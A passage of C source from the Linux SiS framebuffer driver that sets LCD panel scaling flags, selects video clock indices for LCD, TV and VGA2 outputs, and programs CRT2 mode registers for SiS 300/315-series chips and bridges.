SIS_RI_800x480, SIS_RI_848x480, SIS_RI_856x480, SIS_RI_960x540, SIS_RI_960x600, SIS_RI_1024x576,SIS_RI_1024x600, 0xff }; SiS_CheckScaling(SiS_Pr, resinfo, nonscalingmodes); if(SiS_Pr->PanelHT == 1650) { SiS_Pr->SiS_LCDInfo |= DontExpandLCD; } break; } case Panel_1280x768_2: { /* LVDS only */ static const unsigned char nonscalingmodes[] = { SIS_RI_720x480, SIS_RI_720x576, SIS_RI_768x576, SIS_RI_800x480, SIS_RI_848x480, SIS_RI_856x480, SIS_RI_960x540, SIS_RI_960x600, SIS_RI_1024x576,SIS_RI_1024x600, SIS_RI_1152x768,0xff }; SiS_CheckScaling(SiS_Pr, resinfo, nonscalingmodes); switch(resinfo) { case SIS_RI_1280x720: if(SiS_Pr->UsePanelScaler == -1) { SiS_Pr->SiS_LCDInfo |= DontExpandLCD; } break; } break; } case Panel_1280x800: { /* SiS TMDS special (Averatec 6200 series) */ static const unsigned char nonscalingmodes[] = { SIS_RI_720x480, SIS_RI_720x576, SIS_RI_768x576, SIS_RI_800x480, SIS_RI_848x480, SIS_RI_856x480, SIS_RI_960x540, SIS_RI_960x600, SIS_RI_1024x576,SIS_RI_1024x600, SIS_RI_1152x768,SIS_RI_1280x720,SIS_RI_1280x768,0xff }; SiS_CheckScaling(SiS_Pr, resinfo, nonscalingmodes); break; } case Panel_1280x800_2: { /* SiS LVDS */ static const unsigned char nonscalingmodes[] = { SIS_RI_720x480, SIS_RI_720x576, SIS_RI_768x576, SIS_RI_800x480, SIS_RI_848x480, SIS_RI_856x480, SIS_RI_960x540, SIS_RI_960x600, SIS_RI_1024x576,SIS_RI_1024x600, SIS_RI_1152x768,0xff }; SiS_CheckScaling(SiS_Pr, resinfo, nonscalingmodes); switch(resinfo) { case SIS_RI_1280x720: case SIS_RI_1280x768: if(SiS_Pr->UsePanelScaler == -1) { SiS_Pr->SiS_LCDInfo |= DontExpandLCD; } break; } break; } case Panel_1280x854: { /* SiS LVDS */ static const unsigned char nonscalingmodes[] = { SIS_RI_720x480, SIS_RI_720x576, SIS_RI_768x576, SIS_RI_800x480, SIS_RI_848x480, SIS_RI_856x480, SIS_RI_960x540, SIS_RI_960x600, SIS_RI_1024x576,SIS_RI_1024x600, SIS_RI_1152x768,0xff }; SiS_CheckScaling(SiS_Pr, resinfo, nonscalingmodes); switch(resinfo) { case SIS_RI_1280x720: case SIS_RI_1280x768: case SIS_RI_1280x800: if(SiS_Pr->UsePanelScaler == -1) { SiS_Pr->SiS_LCDInfo |= DontExpandLCD; } break; } break; } case Panel_1280x960: { static const unsigned char nonscalingmodes[] = { SIS_RI_720x480, SIS_RI_720x576, SIS_RI_768x576, SIS_RI_800x480, SIS_RI_848x480, SIS_RI_856x480, SIS_RI_960x540, SIS_RI_960x600, SIS_RI_1024x576,SIS_RI_1024x600, SIS_RI_1152x768,SIS_RI_1152x864,SIS_RI_1280x720,SIS_RI_1280x768,SIS_RI_1280x800, SIS_RI_1280x854,0xff }; SiS_CheckScaling(SiS_Pr, resinfo, nonscalingmodes); break; } case Panel_1280x1024: { static const unsigned char nonscalingmodes[] = { SIS_RI_720x480, SIS_RI_720x576, SIS_RI_768x576, SIS_RI_800x480, SIS_RI_848x480, SIS_RI_856x480, SIS_RI_960x540, SIS_RI_960x600, SIS_RI_1024x576,SIS_RI_1024x600, SIS_RI_1152x768,SIS_RI_1152x864,SIS_RI_1280x720,SIS_RI_1280x768,SIS_RI_1280x800, SIS_RI_1280x854,SIS_RI_1280x960,0xff }; SiS_CheckScaling(SiS_Pr, resinfo, nonscalingmodes); break; } case Panel_1400x1050: { static const unsigned char nonscalingmodes[] = { SIS_RI_720x480, SIS_RI_720x576, SIS_RI_768x576, SIS_RI_800x480, SIS_RI_848x480, SIS_RI_856x480, SIS_RI_960x540, SIS_RI_960x600, SIS_RI_1024x576,SIS_RI_1024x600, SIS_RI_1152x768,SIS_RI_1152x864,SIS_RI_1280x768,SIS_RI_1280x800,SIS_RI_1280x854, SIS_RI_1280x960,0xff }; SiS_CheckScaling(SiS_Pr, resinfo, nonscalingmodes); switch(resinfo) { case SIS_RI_1280x720: if(SiS_Pr->UsePanelScaler == -1) { SiS_Pr->SiS_LCDInfo |= DontExpandLCD; } break; case SIS_RI_1280x1024: SiS_Pr->SiS_LCDInfo |= DontExpandLCD; break; } break; } case Panel_1600x1200: { static const unsigned char nonscalingmodes[] = { SIS_RI_720x480, SIS_RI_720x576, SIS_RI_768x576, SIS_RI_800x480, SIS_RI_848x480, SIS_RI_856x480, SIS_RI_960x540, SIS_RI_960x600, SIS_RI_1024x576,SIS_RI_1024x600, SIS_RI_1152x768,SIS_RI_1152x864,SIS_RI_1280x720,SIS_RI_1280x768,SIS_RI_1280x800, SIS_RI_1280x854,SIS_RI_1280x960,SIS_RI_1360x768,SIS_RI_1360x1024,0xff }; SiS_CheckScaling(SiS_Pr, resinfo, nonscalingmodes); break; } case Panel_1680x1050: { static const unsigned char nonscalingmodes[] = { SIS_RI_720x480, SIS_RI_720x576, SIS_RI_768x576, SIS_RI_800x480, SIS_RI_848x480, SIS_RI_856x480, SIS_RI_960x540, SIS_RI_960x600, SIS_RI_1024x576,SIS_RI_1024x600, SIS_RI_1152x768,SIS_RI_1152x864,SIS_RI_1280x854,SIS_RI_1280x960,SIS_RI_1360x768, SIS_RI_1360x1024,0xff }; SiS_CheckScaling(SiS_Pr, resinfo, nonscalingmodes); break; } } } #ifdef CONFIG_FB_SIS_300 if(SiS_Pr->SiS_IF_DEF_LVDS == 1) { if(SiS_Pr->SiS_CustomT == CUT_PANEL848 || SiS_Pr->SiS_CustomT == CUT_PANEL856) { SiS_Pr->SiS_LCDInfo = 0x80 | 0x40 | 0x20; /* neg h/v sync, RGB24(D0 = 0) */ } } if(SiS_Pr->ChipType < SIS_315H) { if(SiS_Pr->SiS_IF_DEF_LVDS == 1) { if(SiS_Pr->SiS_UseROM) { if((ROMAddr[0x233] == 0x12) && (ROMAddr[0x234] == 0x34)) { if(!(ROMAddr[0x235] & 0x02)) { SiS_Pr->SiS_LCDInfo &= (~DontExpandLCD); } } } } else if(SiS_Pr->SiS_VBType & VB_SIS30xBLV) { if((SiS_Pr->SiS_SetFlag & SetDOSMode) && ((ModeNo == 0x03) || (ModeNo == 0x10))) { SiS_Pr->SiS_LCDInfo &= (~DontExpandLCD); } } } #endif /* Special cases */ if(modexres == SiS_Pr->PanelXRes && modeyres == SiS_Pr->PanelYRes) { SiS_Pr->SiS_LCDInfo &= ~LCDPass11; } if(SiS_Pr->SiS_IF_DEF_TRUMPION) { SiS_Pr->SiS_LCDInfo |= (DontExpandLCD | LCDPass11); } switch(SiS_Pr->SiS_LCDResInfo) { case Panel_640x480: SiS_Pr->SiS_LCDInfo |= (DontExpandLCD | LCDPass11); break; case Panel_1280x800: /* Don't pass 1:1 by default (TMDS special) */ if(SiS_Pr->CenterScreen == -1) SiS_Pr->SiS_LCDInfo &= ~LCDPass11; break; case Panel_1280x960: SiS_Pr->SiS_LCDInfo &= ~LCDPass11; break; case Panel_Custom: if((!SiS_Pr->CP_PrefClock) || (modexres > SiS_Pr->PanelXRes) || (modeyres > SiS_Pr->PanelYRes)) { SiS_Pr->SiS_LCDInfo |= LCDPass11; } break; } if((SiS_Pr->UseCustomMode) || (SiS_Pr->SiS_CustomT == CUT_UNKNOWNLCD)) { SiS_Pr->SiS_LCDInfo |= (DontExpandLCD | LCDPass11); } /* (In)validate LCDPass11 flag */ if(!(SiS_Pr->SiS_LCDInfo & DontExpandLCD)) { SiS_Pr->SiS_LCDInfo &= ~LCDPass11; } /* LVDS DDA */ if(!((SiS_Pr->ChipType < SIS_315H) && (SiS_Pr->SiS_SetFlag & SetDOSMode))) { if((SiS_Pr->SiS_IF_DEF_LVDS == 1) || (SiS_Pr->SiS_VBType & VB_NoLCD)) { if(SiS_Pr->SiS_IF_DEF_TRUMPION == 0) { if(ModeNo == 0x12) { if(SiS_Pr->SiS_LCDInfo & LCDPass11) { SiS_Pr->SiS_SetFlag |= EnableLVDSDDA; } } else if(ModeNo > 0x13) { if(SiS_Pr->SiS_LCDResInfo == Panel_1024x600) { if(!(SiS_Pr->SiS_LCDInfo & DontExpandLCD)) { if((resinfo == SIS_RI_800x600) || (resinfo == SIS_RI_400x300)) { SiS_Pr->SiS_SetFlag |= EnableLVDSDDA; } } } } } } if(modeflag & HalfDCLK) { if(SiS_Pr->SiS_IF_DEF_TRUMPION == 1) { SiS_Pr->SiS_SetFlag |= EnableLVDSDDA; } else if(SiS_Pr->SiS_LCDInfo & DontExpandLCD) { SiS_Pr->SiS_SetFlag |= EnableLVDSDDA; } else if(SiS_Pr->SiS_LCDResInfo == Panel_640x480) { SiS_Pr->SiS_SetFlag |= EnableLVDSDDA; } else if(ModeNo > 0x13) { if(SiS_Pr->SiS_LCDResInfo == Panel_1024x768) { if(resinfo == SIS_RI_512x384) SiS_Pr->SiS_SetFlag |= EnableLVDSDDA; } else if(SiS_Pr->SiS_LCDResInfo == Panel_800x600) { if(resinfo == SIS_RI_400x300) SiS_Pr->SiS_SetFlag |= EnableLVDSDDA; } } } } /* VESA timing */ if(SiS_Pr->SiS_VBInfo & SetInSlaveMode) { if(SiS_Pr->SiS_VBInfo & SetNotSimuMode) { SiS_Pr->SiS_SetFlag |= LCDVESATiming; } } else { SiS_Pr->SiS_SetFlag |= LCDVESATiming; } #if 0 printk(KERN_DEBUG "sisfb: (LCDInfo=0x%04x LCDResInfo=0x%02x LCDTypeInfo=0x%02x)\n", SiS_Pr->SiS_LCDInfo, SiS_Pr->SiS_LCDResInfo, SiS_Pr->SiS_LCDTypeInfo); #endif } /*********************************************/ /* GET VCLK */ /*********************************************/ unsigned short SiS_GetVCLK2Ptr(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex, unsigned short RefreshRateTableIndex) { unsigned short CRT2Index, VCLKIndex = 0, VCLKIndexGEN = 0, VCLKIndexGENCRT = 0; unsigned short resinfo, tempbx; const unsigned char *CHTVVCLKPtr = NULL; if(ModeNo <= 0x13) { resinfo = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_ResInfo; CRT2Index = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_CRT2CRTC; VCLKIndexGEN = (SiS_GetRegByte((SiS_Pr->SiS_P3ca+0x02)) >> 2) & 0x03; VCLKIndexGENCRT = VCLKIndexGEN; } else { resinfo = SiS_Pr->SiS_EModeIDTable[ModeIdIndex].Ext_RESINFO; CRT2Index = SiS_Pr->SiS_RefIndex[RefreshRateTableIndex].Ext_CRT2CRTC; VCLKIndexGEN = SiS_Pr->SiS_RefIndex[RefreshRateTableIndex].Ext_CRTVCLK; VCLKIndexGENCRT = SiS_GetRefCRTVCLK(SiS_Pr, RefreshRateTableIndex, (SiS_Pr->SiS_SetFlag & ProgrammingCRT2) ? SiS_Pr->SiS_UseWideCRT2 : SiS_Pr->SiS_UseWide); } if(SiS_Pr->SiS_VBType & VB_SISVB) { /* 30x/B/LV */ if(SiS_Pr->SiS_SetFlag & ProgrammingCRT2) { CRT2Index >>= 6; if(SiS_Pr->SiS_VBInfo & (SetCRT2ToLCD | SetCRT2ToLCDA)) { /* LCD */ if(SiS_Pr->ChipType < SIS_315H) { VCLKIndex = SiS_Pr->PanelVCLKIdx300; if((SiS_Pr->SiS_LCDInfo & DontExpandLCD) && (SiS_Pr->SiS_LCDInfo & LCDPass11)) { VCLKIndex = VCLKIndexGEN; } } else { VCLKIndex = SiS_Pr->PanelVCLKIdx315; if((SiS_Pr->SiS_LCDInfo & DontExpandLCD) && (SiS_Pr->SiS_LCDInfo & LCDPass11)) { switch(resinfo) { /* Correct those whose IndexGEN doesn't match VBVCLK array */ case SIS_RI_720x480: VCLKIndex = VCLK_720x480; break; case SIS_RI_720x576: VCLKIndex = VCLK_720x576; break; case SIS_RI_768x576: VCLKIndex = VCLK_768x576; break; case SIS_RI_848x480: VCLKIndex = VCLK_848x480; break; case SIS_RI_856x480: VCLKIndex = VCLK_856x480; break; case SIS_RI_800x480: VCLKIndex = VCLK_800x480; break; case SIS_RI_1024x576: VCLKIndex = VCLK_1024x576; break; case SIS_RI_1152x864: VCLKIndex = VCLK_1152x864; break; case SIS_RI_1280x720: VCLKIndex = VCLK_1280x720; break; case SIS_RI_1360x768: VCLKIndex = VCLK_1360x768; break; default: VCLKIndex = VCLKIndexGEN; } if(ModeNo <= 0x13) { if(SiS_Pr->ChipType <= SIS_315PRO) { if(SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_CRT2CRTC == 1) VCLKIndex = 0x42; } else { if(SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_CRT2CRTC == 1) VCLKIndex = 0x00; } } if(SiS_Pr->ChipType <= SIS_315PRO) { if(VCLKIndex == 0) VCLKIndex = 0x41; if(VCLKIndex == 1) VCLKIndex = 0x43; if(VCLKIndex == 4) VCLKIndex = 0x44; } } } } else if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) { /* TV */ if(SiS_Pr->SiS_VBInfo & SetCRT2ToHiVision) { if(SiS_Pr->SiS_TVMode & TVRPLLDIV2XO) VCLKIndex = HiTVVCLKDIV2; else VCLKIndex = HiTVVCLK; if(SiS_Pr->SiS_TVMode & TVSetTVSimuMode) VCLKIndex = HiTVSimuVCLK; } else if(SiS_Pr->SiS_TVMode & TVSetYPbPr750p) VCLKIndex = YPbPr750pVCLK; else if(SiS_Pr->SiS_TVMode & TVSetYPbPr525p) VCLKIndex = TVVCLKDIV2; else if(SiS_Pr->SiS_TVMode & TVRPLLDIV2XO) VCLKIndex = TVVCLKDIV2; else VCLKIndex = TVVCLK; if(SiS_Pr->ChipType < SIS_315H) VCLKIndex += TVCLKBASE_300; else VCLKIndex += TVCLKBASE_315; } else { /* VGA2 */ VCLKIndex = VCLKIndexGENCRT; if(SiS_Pr->ChipType < SIS_315H) { if(ModeNo > 0x13) { if( (SiS_Pr->ChipType == SIS_630) && (SiS_Pr->ChipRevision >= 0x30)) { if(VCLKIndex == 0x14) VCLKIndex = 0x34; } /* Better VGA2 clock for 1280x1024@75 */ if(VCLKIndex == 0x17) VCLKIndex = 0x45; } } } } else { /* If not programming CRT2 */ VCLKIndex = VCLKIndexGENCRT; if(SiS_Pr->ChipType < SIS_315H) { if(ModeNo > 0x13) { if( (SiS_Pr->ChipType != SIS_630) && (SiS_Pr->ChipType != SIS_300) ) { if(VCLKIndex == 0x1b) VCLKIndex = 0x48; } } } } } else { /* LVDS */ VCLKIndex = CRT2Index; if(SiS_Pr->SiS_SetFlag & ProgrammingCRT2) { if( (SiS_Pr->SiS_IF_DEF_CH70xx != 0) && (SiS_Pr->SiS_VBInfo & SetCRT2ToTV) ) { VCLKIndex &= 0x1f; tempbx = 0; if(SiS_Pr->SiS_TVMode & TVSetCHOverScan) tempbx += 1; if(SiS_Pr->SiS_TVMode & TVSetPAL) { tempbx += 2; if(SiS_Pr->SiS_ModeType > ModeVGA) { if(SiS_Pr->SiS_CHSOverScan) tempbx = 8; } if(SiS_Pr->SiS_TVMode & TVSetPALM) { tempbx = 4; if(SiS_Pr->SiS_TVMode & TVSetCHOverScan) tempbx += 1; } else if(SiS_Pr->SiS_TVMode & TVSetPALN) { tempbx = 6; if(SiS_Pr->SiS_TVMode & TVSetCHOverScan) tempbx += 1; } } switch(tempbx) { case 0: CHTVVCLKPtr = SiS_Pr->SiS_CHTVVCLKUNTSC; break; case 1: CHTVVCLKPtr = SiS_Pr->SiS_CHTVVCLKONTSC; break; case 2: CHTVVCLKPtr = SiS_Pr->SiS_CHTVVCLKUPAL; break; case 3: CHTVVCLKPtr = SiS_Pr->SiS_CHTVVCLKOPAL; break; case 4: CHTVVCLKPtr = SiS_Pr->SiS_CHTVVCLKUPALM; break; case 5: CHTVVCLKPtr = SiS_Pr->SiS_CHTVVCLKOPALM; break; case 6: CHTVVCLKPtr = SiS_Pr->SiS_CHTVVCLKUPALN; break; case 7: CHTVVCLKPtr = SiS_Pr->SiS_CHTVVCLKOPALN; break; case 8: CHTVVCLKPtr = SiS_Pr->SiS_CHTVVCLKSOPAL; break; default: CHTVVCLKPtr = SiS_Pr->SiS_CHTVVCLKOPAL; break; } VCLKIndex = CHTVVCLKPtr[VCLKIndex]; } else if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCD) { if(SiS_Pr->ChipType < SIS_315H) { VCLKIndex = SiS_Pr->PanelVCLKIdx300; } else { VCLKIndex = SiS_Pr->PanelVCLKIdx315; } #ifdef CONFIG_FB_SIS_300 /* Special Timing: Barco iQ Pro R series */ if(SiS_Pr->SiS_CustomT == CUT_BARCO1366) VCLKIndex = 0x44; /* Special Timing: 848x480 and 856x480 parallel lvds panels */ if(SiS_Pr->SiS_CustomT == CUT_PANEL848 || SiS_Pr->SiS_CustomT == CUT_PANEL856) { if(SiS_Pr->ChipType < SIS_315H) { VCLKIndex = VCLK34_300; /* if(resinfo == SIS_RI_1360x768) VCLKIndex = ?; */ } else { VCLKIndex = VCLK34_315; /* if(resinfo == SIS_RI_1360x768) VCLKIndex = ?; */ } } #endif } else { VCLKIndex = VCLKIndexGENCRT; if(SiS_Pr->ChipType < SIS_315H) { if(ModeNo > 0x13) { if( (SiS_Pr->ChipType == SIS_630) && (SiS_Pr->ChipRevision >= 0x30) ) { if(VCLKIndex == 0x14) VCLKIndex = 0x2e; } } } } } else { /* if not programming CRT2 */ VCLKIndex = VCLKIndexGENCRT; if(SiS_Pr->ChipType < SIS_315H) { if(ModeNo > 0x13) { if( (SiS_Pr->ChipType != SIS_630) && (SiS_Pr->ChipType != SIS_300) ) { if(VCLKIndex == 0x1b) VCLKIndex = 0x48; } #if 0 if(SiS_Pr->ChipType == SIS_730) { if(VCLKIndex == 0x0b) VCLKIndex = 0x40; /* 1024x768-70 */ if(VCLKIndex == 0x0d) VCLKIndex = 0x41; /* 1024x768-75 */ } #endif } } } } return VCLKIndex; } /*********************************************/ /* SET CRT2 MODE TYPE REGISTERS */ /*********************************************/ static void SiS_SetCRT2ModeRegs(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex) { unsigned short i, j, modeflag, tempah=0; short tempcl; #if defined(CONFIG_FB_SIS_300) || defined(CONFIG_FB_SIS_315) unsigned short tempbl; #endif #ifdef CONFIG_FB_SIS_315 unsigned char *ROMAddr = SiS_Pr->VirtualRomBase; unsigned short tempah2, tempbl2; #endif modeflag = SiS_GetModeFlag(SiS_Pr, ModeNo, ModeIdIndex); if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCDA) { SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x00,0xAF,0x40); SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x2E,0xF7); } else { for(i=0,j=4; i<3; i++,j++) SiS_SetReg(SiS_Pr->SiS_Part1Port,j,0); if(SiS_Pr->ChipType >= SIS_315H) { SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x02,0x7F); } tempcl = SiS_Pr->SiS_ModeType; if(SiS_Pr->ChipType < SIS_315H) { #ifdef CONFIG_FB_SIS_300 /* ---- 300 series ---- */ /* For 301BDH: (with LCD via LVDS) */ if(SiS_Pr->SiS_VBType & VB_NoLCD) { tempbl = SiS_GetReg(SiS_Pr->SiS_P3c4,0x32); tempbl &= 0xef; tempbl |= 0x02; if((SiS_Pr->SiS_VBInfo & SetCRT2ToTV) || (SiS_Pr->SiS_VBInfo & SetCRT2ToRAMDAC)) { tempbl |= 0x10; tempbl &= 0xfd; } SiS_SetReg(SiS_Pr->SiS_P3c4,0x32,tempbl); } if(ModeNo > 0x13) { tempcl -= ModeVGA; if(tempcl >= 0) { tempah = ((0x10 >> tempcl) | 0x80); } } else tempah = 0x80; if(SiS_Pr->SiS_VBInfo & SetInSlaveMode) tempah ^= 0xA0; #endif /* CONFIG_FB_SIS_300 */ } else { #ifdef CONFIG_FB_SIS_315 /* ------- 315/330 series ------ */ if(ModeNo > 0x13) { tempcl -= ModeVGA; if(tempcl >= 0) { tempah = (0x08 >> tempcl); if (tempah == 0) tempah = 1; tempah |= 0x40; } } else tempah = 0x40; if(SiS_Pr->SiS_VBInfo & SetInSlaveMode) tempah ^= 0x50; #endif /* CONFIG_FB_SIS_315 */ } if(SiS_Pr->SiS_VBInfo & DisableCRT2Display) tempah = 0; if(SiS_Pr->ChipType < SIS_315H) { SiS_SetReg(SiS_Pr->SiS_Part1Port,0x00,tempah); } else { #ifdef CONFIG_FB_SIS_315 if(SiS_Pr->SiS_IF_DEF_LVDS == 1) { SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x00,0xa0,tempah); } else if(SiS_Pr->SiS_VBType & VB_SISVB) { if(IS_SIS740) { SiS_SetReg(SiS_Pr->SiS_Part1Port,0x00,tempah); } else { SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x00,0xa0,tempah); } } #endif } if(SiS_Pr->SiS_VBType & VB_SISVB) { tempah = 0x01; if(!(SiS_Pr->SiS_VBInfo & SetInSlaveMode)) { tempah |= 0x02; } if(!(SiS_Pr->SiS_VBInfo & SetCRT2ToRAMDAC)) { tempah ^= 0x05; if(!(SiS_Pr->SiS_VBInfo & SetCRT2ToLCD)) { tempah ^= 0x01; } } if(SiS_Pr->ChipType < SIS_315H) { if(SiS_Pr->SiS_VBInfo & DisableCRT2Display) tempah = 0; tempah = (tempah << 5) & 0xFF; SiS_SetReg(SiS_Pr->SiS_Part1Port,0x01,tempah); tempah = (tempah >> 5) & 0xFF; } else { if(SiS_Pr->SiS_VBInfo & DisableCRT2Display) tempah = 0x08; else if(!(SiS_IsDualEdge(SiS_Pr))) tempah |= 0x08; SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x2E,0xF0,tempah); tempah &= ~0x08; } if((SiS_Pr->SiS_ModeType == ModeVGA) && (!(SiS_Pr->SiS_VBInfo & SetInSlaveMode))) { tempah |= 0x10; } tempah |= 0x80; if(SiS_Pr->SiS_VBType & VB_SIS301) { if(SiS_Pr->PanelXRes < 1280 && SiS_Pr->PanelYRes < 960) tempah &= ~0x80; } if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) { if(!(SiS_Pr->SiS_TVMode & (TVSetYPbPr750p | TVSetYPbPr525p))) { if(SiS_Pr->SiS_VBInfo & SetInSlaveMode) { tempah |= 0x20; } } } SiS_SetRegANDOR(SiS_Pr->SiS_Part4Port,0x0D,0x40,tempah); tempah = 0x80; if(SiS_Pr->SiS_VBType & VB_SIS301) { if(SiS_Pr->PanelXRes < 1280 && SiS_Pr->PanelYRes < 960) tempah = 0; } if(SiS_IsDualLink(SiS_Pr)) tempah |= 0x40; if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) { if(SiS_Pr->SiS_TVMode & TVRPLLDIV2XO) { tempah |= 0x40; } } SiS_SetReg(SiS_Pr->SiS_Part4Port,0x0C,tempah); } else { /* LVDS */ if(SiS_Pr->ChipType >= SIS_315H) { #ifdef CONFIG_FB_SIS_315 /* LVDS can only be slave in 8bpp modes */ tempah = 0x80; if((modeflag & CRT2Mode) && (SiS_Pr->SiS_ModeType > ModeVGA)) { if(SiS_Pr->SiS_VBInfo & DriverMode) { tempah |= 0x02; } } if(!(SiS_Pr->SiS_VBInfo & SetInSlaveMode)) tempah |= 0x02; if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) tempah ^= 0x01; if(SiS_Pr->SiS_VBInfo & DisableCRT2Display) tempah = 1; SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x2e,0xF0,tempah); #endif } else { #ifdef CONFIG_FB_SIS_300 tempah = 0; if( (!(SiS_Pr->SiS_VBInfo & SetInSlaveMode)) && (SiS_Pr->SiS_ModeType > ModeVGA) ) { tempah |= 0x02; } tempah <<= 5; if(SiS_Pr->SiS_VBInfo & DisableCRT2Display) tempah = 0; SiS_SetReg(SiS_Pr->SiS_Part1Port,0x01,tempah); #endif } } } /* LCDA */ if(SiS_Pr->SiS_VBType & VB_SISVB) { if(SiS_Pr->ChipType >= SIS_315H) { #ifdef CONFIG_FB_SIS_315 /* unsigned char bridgerev = SiS_GetReg(SiS_Pr->SiS_Part4Port,0x01); */ /* The following is nearly unpreditable and varies from machine * to machine. Especially the 301DH seems to be a real trouble * maker. Some BIOSes simply set the registers (like in the * NoLCD-if-statements here), some set them according to the * LCDA stuff. It is very likely that some machines are not * treated correctly in the following, very case-orientated * code. What do I do then...? */ /* 740 variants match for 30xB, 301B-DH, 30xLV */ if(!(IS_SIS740)) { tempah = 0x04; /* For all bridges */ tempbl = 0xfb; if(!(SiS_Pr->SiS_VBInfo & SetCRT2ToLCDA)) { tempah = 0x00; if(SiS_IsDualEdge(SiS_Pr)) { tempbl = 0xff; } } SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x13,tempbl,tempah); } /* The following two are responsible for eventually wrong colors * in TV output. The DH (VB_NoLCD) conditions are unknown; the * b0 was found in some 651 machine (Pim; P4_23=0xe5); the b1 version * in a 650 box (Jake). What is the criteria? * Addendum: Another combination 651+301B-DH(b1) (Rapo) needs same * treatment like the 651+301B-DH(b0) case. Seems more to be the * chipset than the bridge revision. */ if((IS_SIS740) || (SiS_Pr->ChipType >= SIS_661) || (SiS_Pr->SiS_ROMNew)) { tempah = 0x30; tempbl = 0xc0; if((SiS_Pr->SiS_VBInfo & DisableCRT2Display) || ((SiS_Pr->SiS_ROMNew) && (!(ROMAddr[0x5b] & 0x04)))) { tempah = 0x00; tempbl = 0x00; } SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x2c,0xcf,tempah); SiS_SetRegANDOR(SiS_Pr->SiS_Part4Port,0x21,0x3f,tempbl); } else if(SiS_Pr->SiS_VBType & VB_SIS301) { /* Fixes "TV-blue-bug" on 315+301 */ SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x2c,0xcf); /* For 301 */ SiS_SetRegAND(SiS_Pr->SiS_Part4Port,0x21,0x3f); } else if(SiS_Pr->SiS_VBType & VB_SISLVDS) { SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x2c,0x30); /* For 30xLV */ SiS_SetRegOR(SiS_Pr->SiS_Part4Port,0x21,0xc0); } else if(SiS_Pr->SiS_VBType & VB_NoLCD) { /* For 301B-DH */ tempah = 0x30; tempah2 = 0xc0; tempbl = 0xcf; tempbl2 = 0x3f; if(SiS_Pr->SiS_TVBlue == 0) { tempah = tempah2 = 0x00; } else if(SiS_Pr->SiS_TVBlue == -1) { /* Set on 651/M650, clear on 315/650 */ if(!(IS_SIS65x)) /* (bridgerev != 0xb0) */ { tempah = tempah2 = 0x00; } } SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x2c,tempbl,tempah); SiS_SetRegANDOR(SiS_Pr->SiS_Part4Port,0x21,tempbl2,tempah2); } else { tempah = 0x30; tempah2 = 0xc0; /* For 30xB, 301C */ tempbl = 0xcf; tempbl2 = 0x3f; if(!(SiS_Pr->SiS_VBInfo & SetCRT2ToLCDA)) { tempah = tempah2 = 0x00; if(SiS_IsDualEdge(SiS_Pr)) { tempbl = tempbl2 = 0xff; } } SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x2c,tempbl,tempah); SiS_SetRegANDOR(SiS_Pr->SiS_Part4Port,0x21,tempbl2,tempah2); } if(IS_SIS740) { tempah = 0x80; if(SiS_Pr->SiS_VBInfo & DisableCRT2Display) tempah = 0x00; SiS_SetRegANDOR(SiS_Pr->SiS_Part4Port,0x23,0x7f,tempah); } else { tempah = 0x00; tempbl = 0x7f; if(!(SiS_Pr->SiS_VBInfo & SetCRT2ToLCDA)) { tempbl = 0xff; if(!(SiS_IsDualEdge(SiS_Pr))) tempah = 0x80; } SiS_SetRegANDOR(SiS_Pr->SiS_Part4Port,0x23,tempbl,tempah); } #endif /* CONFIG_FB_SIS_315 */ } else if(SiS_Pr->SiS_VBType & VB_SIS30xBLV) { #ifdef CONFIG_FB_SIS_300 SiS_SetRegAND(SiS_Pr->SiS_Part4Port,0x21,0x3f); if((SiS_Pr->SiS_VBInfo & DisableCRT2Display) || ((SiS_Pr->SiS_VBType & VB_NoLCD) && (SiS_Pr->SiS_VBInfo & SetCRT2ToLCD))) { SiS_SetRegAND(SiS_Pr->SiS_Part4Port,0x23,0x7F); } else { SiS_SetRegOR(SiS_Pr->SiS_Part4Port,0x23,0x80); } #endif } if(SiS_Pr->SiS_VBType & VB_SIS30xBLV) { SiS_SetRegOR(SiS_Pr->SiS_Part4Port,0x0D,0x80); if(SiS_Pr->SiS_VBType & VB_SIS30xCLV) { SiS_SetRegOR(SiS_Pr->SiS_Part4Port,0x3A,0xC0); } } } else { /* LVDS */ #ifdef CONFIG_FB_SIS_315 if(SiS_Pr->ChipType >= SIS_315H) { if(SiS_Pr->SiS_IF_DEF_CH70xx != 0) { tempah = 0x04; tempbl = 0xfb; if(!(SiS_Pr->SiS_VBInfo & SetCRT2ToLCDA)) { tempah = 0x00; if(SiS_IsDualEdge(SiS_Pr)) tempbl = 0xff; } SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x13,tempbl,tempah); if(SiS_Pr->SiS_VBInfo & DisableCRT2Display) { SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x13,0xfb); } SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x2c,0x30); } else if(SiS_Pr->ChipType == SIS_550) { SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x13,0xfb); SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x2c,0x30); } } #endif } } /*********************************************/ /* GET RESOLUTION DATA */ /*********************************************/ unsigned short SiS_GetResInfo(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short 